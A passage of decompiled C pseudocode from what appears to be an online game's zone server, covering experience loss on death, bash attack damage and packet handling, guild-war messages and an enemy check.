"ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledAndImChaotic"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledAndImChaotic"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob(prevexp, nextexp, fa); v6 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2724))(v4); if ( (unsigned int)v6 <= 0x32 ) { if ( (unsigned int)v6 <= 0xA ) faa = v6 != 0; else faa = 2; } else { faa = 3; } v7 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1236))(v4); if ( v7 <= 0x74u ) v8 = v7 > 0x3Cu; else v8 = 2; v9 = LostExpRateTable[0][v8 + 3 * faa]; if ( v9 == -1 ) { v5 = (unsigned int)&wholesaver.ws_savestore[856].esc_skill.buffer[21348]; } else { if ( v9 ) v5 += (nextexp - prevexp) / (unsigned __int64)v9; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledAndImChaotic"); return v5; } //----- (00427B70) -------------------------------------------------------- int __userpurge ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled(int a1, int a2, int func, int (__thiscall *a4)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)) { int v4; // esi@1 int v5; // ecx@2 char v6; // dl@2 int v7; // eax@3 int v8; // eax@4 int result; // eax@6 unsigned __int8 v10; // al@11 int v11; // edi@11 int v12; // ST2C_4@11 unsigned __int8 v13; // al@11 int v14; // ebp@11 unsigned int v15; // ebx@11 int v16; // eax@11 unsigned int v17; // ecx@11 int v18; // edi@11 unsigned int v19; // eax@11 unsigned int v20; // eax@15 int v21; // ecx@15 char *v22; // eax@17 int v23; // eax@19 char *v24; // ebx@20 ZoneBaseSession *v25; // eax@22 v4 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_BYTE *)(v4 + 142694) ) { LOWORD(v5) = *(_WORD *)(v4 + 142696); v6 = 0; if ( (unsigned __int16)v5 < *(_WORD *)(v4 + 142068) ) { v8 = *(_DWORD *)(v4 + 142072) + 12 * (unsigned __int16)v5; v6 = *(_BYTE *)(v8 + 8); v7 = *(_DWORD *)v8; } else { v7 = 0; } v5 = (unsigned __int16)v5; if ( !v6 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Not in list", v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); return 0; } if ( v7 == 0 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Null node", v5); goto LABEL_9; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1236))(v4) < shineparam.scp_param.LostExpLevel ) { LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); return 0; } v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v4 + 1236))(v4, a2); v11 = LODWORD(shineparam.scp_param.nextexp[v10]); v12 = HIDWORD(shineparam.scp_param.nextexp[v10]); v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1236))(v4); v14 = *(&shineparam.scp_param.PrisonTime + 2 * v13); v15 = *((_DWORD *)&shineparam.scp_param.LostExpLevel + 2 * v13); v16 = a4(v4, v14, v15, v11, v12); v17 = *(_DWORD *)(v4 + 32193); v18 = v16; v19 = *(_DWORD *)(v4 + 32197); if ( (v19 || v17 >= v18) && v18 ) { v20 = (__PAIR__(v19, v17) - (unsigned int)v18) >> 32; v21 = v17 - v18; if ( __PAIR__(v20, v21) < __PAIR__(v15, v14) ) { v21 = v14; v20 = v15; v18 = *(_DWORD *)(v4 + 32193) - v14; } *(_DWORD *)(v4 + 32193) = v21; *(_DWORD *)(v4 + 32197) = v20; v22 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9233; *(_DWORD *)(v22 + 2) = v18; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v23 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v23 + 12))(v23, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 6); } v24 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4211; *((_WORD *)v24 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); *((_DWORD *)v24 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v24 + 2) = *(_DWORD *)(v4 + 32193); *((_DWORD *)v24 + 3) = *(_DWORD *)(v4 + 32197); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v25 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v25); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 16); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); result = v18; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); result = 0; } return result; } //----- (00427E70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edi@7 char v6; // al@12 int v7; // ST18_4@13 char v8; // al@13 char v9; // dl@14 FunctionEntarance _; // [sp+1Ch] [bp-48h]@1 char engarg; // [sp+20h] [bp-44h]@14 char v12; // [sp+2Eh] [bp-36h]@14 char v13; // [sp+2Fh] [bp-35h]@14 int v14; // [sp+60h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !(_S15_2 & 1) ) { _S15_2 |= 1u; cmc_10.cmc_AllowMode = 4; atexit(_E16_2); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_10.cmc_AllowMode && !*((_DWORD *)v4 + 1796) && *((_DWORD *)v4 + 34860) < clockwatch.cw_CurrTick ) { *((_DWORD *)v4 + 34860) = clockwatch.cw_CurrTick; v5 = *((_DWORD *)v4 + 8074); if ( v5 || (v5 = *((_DWORD *)v4 + 8075)) != 0 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1152))(v5) == 2 ) { if ( (unsigned __int8)(*(int (__stdcall **)(int))(**((_DWORD **)v4 + 57) + 4))(v5) ) { v6 = SubLayer::SubLayerInteractLoader::slil_Interact( &sublayerinteract, *(SubLayer::Layer **)((char *)v4 + 94), *(SubLayer::Layer **)(v5 + 94)); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v6, "ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ : Target in another dimension hitted", 0) ) { v7 = *(_BYTE *)(*(_DWORD *)(v5 + 94) + 4) + 1000 * *(_BYTE *)(*(_DWORD *)((char *)v4 + 94) + 4); v8 = ShineObjectClass::ShineObject::so_SubLayer_CanAttack(v4, v5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v8, "ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ : Target in another sublayerinteractension hitted", v7) ) { EngageArgument::EngageArgument( (EngageArgument *)&engarg, (#593 *)v4, (#593 *)v5, 0, 0, *(SHINE_XY_TYPE **)((char *)v4 + 78), 1.0); v9 = *(_BYTE *)(netcmd + 3); v13 = *(_BYTE *)(netcmd + 2); v12 = v9; (*(void (__thiscall **)(void *, char *))(*(_DWORD *)v4 + 1424))(v4, &engarg); } } } } v14 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"); } } else { --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"); } } //----- (00428090) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)&netcmd[1].protocol && *(_DWORD *)&netcmd[3].protocol ) CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)&netcmd[1]); if ( *(_DWORD *)&netcmd[5].protocol && *(_DWORD *)&netcmd[7].protocol ) CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)&netcmd[5]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK"); } //----- (00428160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S19_12 & 1) ) { _S19_12 |= 1u; cmc_11.cmc_AllowMode = 4; atexit(_E20_10); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_11.cmc_AllowMode ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3400))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD"); } //----- (00428240) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::smo_BashStop() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BashStop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_BashStop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BashStop"); } //----- (00428280) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_BashStop(void *this) { void *v1; // esi@1 int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BashStop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_BashStop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CeaseFireSender::cfs_Send((CeaseFireSender *)v1 + 32164); ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(v1); ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(v1); *((_BYTE *)v1 + 139468) &= 0xFBu; v2 = *((_DWORD *)v1 + 35796); if ( v2 == 2 || v2 == 3 ) { *((_DWORD *)v1 + 35793) = 0; *((_DWORD *)v1 + 35794) = CGambleObject::GDTSO_GetGameStatus; *((_DWORD *)v1 + 35797) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v1 + 35796) = 0; NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear_PassHitTime((NormalAttackDamageDelay::NormalAttackDamageTick *)((char *)v1 + 66156)); } *((_WORD *)v1 + 71788) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BashStop"); } //----- (00428370) -------------------------------------------------------- int __userpurge ShineObjectClass::ShineMobileObject::so_Bash(void *a1, double a2, int engarg, int resthp, int abstate, int absstrength, signed int absrate, int aggroclear) { void *v8; // ebp@1 unsigned __int16 v9; // ax@1 unsigned __int16 v10; // cx@1 int v11; // eax@1 unsigned int v12; // eax@2 char *v13; // eax@2 int v14; // ecx@2 unsigned int v15; // eax@4 char *v16; // eax@4 int v17; // ecx@4 signed int v18; // edx@4 int v19; // eax@4 int v20; // ecx@5 unsigned int v21; // eax@11 char *v22; // eax@11 int v23; // ecx@11 int v24; // esi@12 int v25; // esi@23 int v26; // ebx@23 char *v27; // esi@28 char v28; // al@30 char v29; // al@30 char v30; // al@30 char v31; // cl@30 char v32; // al@30 int v33; // eax@32 char v34; // dl@33 char v35; // dl@33 __int16 v36; // ax@33 unsigned int v37; // edx@33 int v38; // ST18_4@33 int v39; // eax@37 int v40; // ST18_4@42 int v41; // ST04_4@42 int v42; // eax@42 int damage; // [sp+20h] [bp-BCh]@0 unsigned int v45; // [sp+24h] [bp-B8h]@8 AxialListPacketBroadcast alchat; // [sp+28h] [bp-B4h]@4 FunctionEntarance _; // [sp+34h] [bp-A8h]@1 char battleobject; // [sp+38h] [bp-A4h]@1 int v49; // [sp+3Ch] [bp-A0h]@23 int v50; // [sp+44h] [bp-98h]@3 int v51; // [sp+54h] [bp-88h]@17 int v52; // [sp+58h] [bp-84h]@17 int v53[10]; // [sp+5Ch] [bp-80h]@17 int flag; // [sp+84h] [bp-58h]@12 int v55; // [sp+D8h] [bp-4h]@1 v8 = a1; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_Bash"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Bash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_Bash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v10 = *((_WORD *)v8 + 2); v55 = 0; BattleObjectGroup::BattleObjectStruct::BattleObjectStruct( (BattleObjectGroup::BattleObjectStruct *)&battleobject, v10, v9); v11 = *((_DWORD *)v8 + 1858); LOBYTE(v55) = 1; if ( v11 > 0 ) goto LABEL_7; (*(void (__stdcall **)(int))(**((_DWORD **)v8 + 1856) + 24))(engarg); v12 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v12; v13 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v12]]; v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1); *((_DWORD *)v13 + 8192) = v14; if ( (double)*(_WORD *)&v13[2 * v14] <= a2 ) { v15 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v15; v16 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v15]]; v17 = *((_DWORD *)v16 + 8193) & (*((_DWORD *)v16 + 8192) + 1); *((_DWORD *)v16 + 8192) = v17; v18 = *(_WORD *)&v16[2 * v17]; v19 = **((_DWORD **)v8 + 1856); *(double *)&alchat.baseclass_0.vfptr = (double)v18; (*(void (__stdcall **)(int))(v19 + 44))(engarg); if ( *(double *)&alchat.baseclass_0.vfptr < *(double *)&alchat.baseclass_0.vfptr ) { v20 = *(_DWORD *)(engarg + 4); *(_BYTE *)(engarg + 17) = 1; (*(void (__stdcall **)(void *, signed int))(*(_DWORD *)v20 + 1784))(v8, 1); goto LABEL_8; } v11 = (*(int (__stdcall **)(int))(**((_DWORD **)v8 + 1856) + 28))(engarg); LABEL_7: damage = v11; goto LABEL_8; } damage = 0; *(_BYTE *)(engarg + 17) = 1; v50 = 1; LABEL_8: v45 = 0; while ( 1 ) { if ( damage <= 0 || abstate == 609 || (v21 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1), rndbox.rb_box[4].rs_point.value = v21, v22 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v21]], v23 = *((_DWORD *)v22 + 8193) & (*((_DWORD *)v22 + 8192) + 1), *((_DWORD *)v22 + 8192) = v23, *(_WORD *)&v22[2 * v23] >= absrate) ) goto LABEL_19; v24 = flag; alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)((unsigned int)flag < 4); if ( (unsigned int)flag < 4 ) break; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_Bash : Too many abstates", flag); LABEL_19: ++v45; if ( v45 >= 1 ) goto LABEL_23; } if ( abstate >= 609 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", abstate); goto LABEL_23; } if ( !dword_6BC994[abstate] ) goto LABEL_23; if ( !(unsigned __int8)(*(int (__stdcall **)(_DWORD))(**(_DWORD **)(engarg + 4) + 1580))(dword_6BC994[abstate]) ) { *(&v51 + 3 * v24) = abstate; *(&v52 + 3 * v24) = absstrength; v53[3 * v24] = 0; ++flag; if ( aggroclear > 0 ) (*(void (__thiscall **)(void *, _DWORD, int))(*(_DWORD *)v8 + 1788))(v8, *(_DWORD *)(engarg + 4), aggroclear); goto LABEL_19; } *(_BYTE *)(engarg + 20) = 1; LABEL_23: (*(void (__thiscall **)(void *))(*(_DWORD *)v8 + 1412))(v8); (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1412))(); v49 = damage; BattleObjectGroup::BattleObjectList::bol_Store( &btlobjlist, (BattleObjectGroup::BattleObjectStruct *)&battleobject, clockwatch.cw_CurrTick + 10); v25 = *(_DWORD *)(engarg + 4); v26 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v25 + 1620))(*(_DWORD *)(engarg + 4)); *(_DWORD *)resthp = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 1252))(v25) - v26; (*(void (__stdcall **)(int))(**(_DWORD **)(engarg + 4) + 1612))(damage); if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(engarg + 4) + 40))() ) { *(_BYTE *)(engarg + 18) = 1; *(_DWORD *)resthp = 0; } else { if ( damage < *(_DWORD *)resthp ) { *(_BYTE *)(engarg + 18) = 0; *(_DWORD *)resthp -= damage; } else { (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 36))(); *(_BYTE *)(engarg + 18) = 1; *(_DWORD *)resthp = 0; } } v27 = gpp.pp_Buffer; if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1228))() == 2 ) { if ( *(_BYTE *)(engarg + 17) ) { *(_WORD *)v27 = 9264; v28 = v27[4]; *((_WORD *)v27 + 1) = *((_WORD *)v8 + 2); v29 = (v28 ^ *(_BYTE *)(engarg + 14)) & 0xF ^ v28; v27[4] = v29; v30 = v29 ^ (v29 ^ 16 * *(_BYTE *)(engarg + 17)) & 0x10; v27[4] = v30; v31 = v30 ^ (v30 ^ 32 * *(_BYTE *)(engarg + 19)) & 0x20; v27[4] = v31; v32 = v31 ^ (v31 ^ (*(_BYTE *)(engarg + 20) << 6)) & 0x40; v27[4] = v32; v27[4] = v32 & 0x7F | (*(_BYTE *)(engarg + 22) << 7); *(_WORD *)(v27 + 5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 1288))(v8); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v33 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v33 + 12))( v33, *(_DWORD *)(engarg + 4), &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_Bash : Packet Too Long", 7); } } else { *(_WORD *)v27 = 9261; *((_WORD *)v27 + 1) = *((_WORD *)v8 + 2); v34 = v27[6]; *((_WORD *)v27 + 2) = 2 * damage | *(_BYTE *)(engarg + 16) & 1; v35 = (v34 ^ *(_BYTE *)(engarg + 14)) & 0xF ^ v34; v27[6] = v35; v27[6] = v35 ^ (v35 ^ 16 * *(_BYTE *)(engarg + 20)) & 0x10; *(_DWORD *)(v27 + 7) = *(_DWORD *)resthp; *(_WORD *)(v27 + 13) = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 2024))(); v36 = (*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 1288))(v8); v37 = *((_WORD *)v27 + 2); v38 = *(_DWORD *)(v27 + 7); *(_WORD *)(v27 + 11) = v36; ShineObjectClass::ShineObject::so_DamageLog( (int)"ShineMobileObject::so_Bash", *(_WORD *)(v27 + 13), v37 >> 1, v38); if ( !*(_DWORD *)(v27 + 7) ) (*(void (__stdcall **)(signed int))(**(_DWORD **)(engarg + 4) + 2260))(2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 15) ) { v39 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v39 + 12))( v39, *(_DWORD *)(engarg + 4), &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_Bash : Packet Too Long", 15); } (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1252))(); (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1620))(); } } if ( *(_BYTE *)(engarg + 17) ) { *(_WORD *)v27 = 9265; *((_WORD *)v27 + 1) = *((_WORD *)v8 + 2); *((_WORD *)v27 + 2) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v27[6] = *(_BYTE *)(engarg + 14); *(_WORD *)(v27 + 7) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 1288))(v8); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 9); LOBYTE(v55) = 2; } else { *(_WORD *)v27 = 9262; *((_WORD *)v27 + 1) = *((_WORD *)v8 + 2); *((_WORD *)v27 + 2) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v27[6] = *(_BYTE *)(engarg + 14); *(_DWORD *)(v27 + 7) = *(_DWORD *)resthp; *(_WORD *)(v27 + 13) = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 2024))(); *(_WORD *)(v27 + 11) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 1288))(v8); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 15); LOBYTE(v55) = 3; } v40 = *((_WORD *)v27 + 2); v41 = *(_DWORD *)((char *)v8 + 78); v42 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v8, v42, v41, 0, 0, (int)&alchat, 0, v40); LOBYTE(v55) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v55) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&battleobject); --funcallanalizer.fca_stackpoint; v55 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Bash"); return damage; } // 428370: using guessed type int var_80[10]; //----- (004289D0) -------------------------------------------------------- int __userpurge ShineObjectClass::ShinePlayer::so_Bash(int a1, double a2, int engarg, int resthp, int abstate, int absstrength, signed int absrate, int aggroclear) { int v8; // ebx@1 int v9; // eax@1 char *v10; // esi@1 __int16 v11; // dx@1 __int16 v12; // ax@1 char v13; // al@4 char v14; // al@4 unsigned __int16 v15; // ax@4 int v16; // edx@4 int v17; // ebp@4 char v18; // cl@6 char v19; // cl@6 char v20; // al@6 char v21; // cl@6 int v22; // eax@9 int aggrocleara; // [sp+38h] [bp+18h]@1 v8 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Bash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Bash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 2256))(v8); v9 = ShineObjectClass::ShineMobileObject::so_Bash( (void *)v8, a2, engarg, resthp, abstate, absstrength, absrate, aggroclear); v10 = gpp.pp_Buffer; v11 = v9; aggrocleara = v9; v12 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v12; if ( *(_BYTE *)(engarg + 17) || *(_BYTE *)(engarg + 19) || *(_BYTE *)(engarg + 22) ) { *(_WORD *)v10 = v12 & 0xFC2F | 0x2F; v18 = v10[4]; *((_WORD *)v10 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v19 = (v18 ^ *(_BYTE *)(engarg + 15)) & 0xF ^ v18; v10[4] = v19; v20 = v19 ^ (v19 ^ 16 * *(_BYTE *)(engarg + 17)) & 0x10; v10[4] = v20; v21 = v20 ^ (v20 ^ 32 * *(_BYTE *)(engarg + 19)) & 0x20; v10[4] = v21; *(_WORD *)(v10 + 5) = *(_WORD *)(v8 + 139464); v10[4] = (v21 ^ (*(_BYTE *)(engarg + 22) << 6)) & 0x40 ^ v21; v17 = 7; } else { *(_WORD *)v10 = v12 & 0xFC2C | 0x2C; *((_WORD *)v10 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v13 = (v10[6] ^ *(_BYTE *)(engarg + 15)) & 0xF ^ v10[6]; v10[6] = v13; v14 = v13 ^ (v13 ^ 16 * *(_BYTE *)(engarg + 20)) & 0x10; v10[6] = v14; v10[6] = v14 ^ (v14 ^ 32 * *(_BYTE *)(engarg + 22)) & 0x20; *((_WORD *)v10 + 2) = 2 * v11 | *(_BYTE *)(engarg + 16) & 1; *(_DWORD *)(v10 + 7) = *(_DWORD *)resthp; v15 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 2024))(); v16 = *(_DWORD *)(v10 + 7); *(_WORD *)(v10 + 13) = v15; *(_WORD *)(v10 + 11) = *(_WORD *)(v8 + 139464); v17 = 15; ShineObjectClass::ShineObject::so_DamageLog( (int)"ShinePlayer::so_Bash", v15, (unsigned int)*((_WORD *)v10 + 2) >> 1, v16); if ( !*(_DWORD *)(v10 + 7) ) (*(void (__thiscall **)(_DWORD, signed int))(**(_DWORD **)(engarg + 4) + 2260))(*(_DWORD *)(engarg + 4), 3); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v17) ) { v22 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 764))(v8); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v8, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Bash : Packet Too Long", v17); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Bash"); return aggrocleara; } //----- (00428C20) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy(void *this, int a2) { void *v2; // edi@1 int v3; // esi@1 bool result; // al@7 bool v5; // bl@11 int v6; // [sp+24h] [bp+4h]@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2480))(a2) ) v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2480))(a2); if ( (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 1000))(v3, 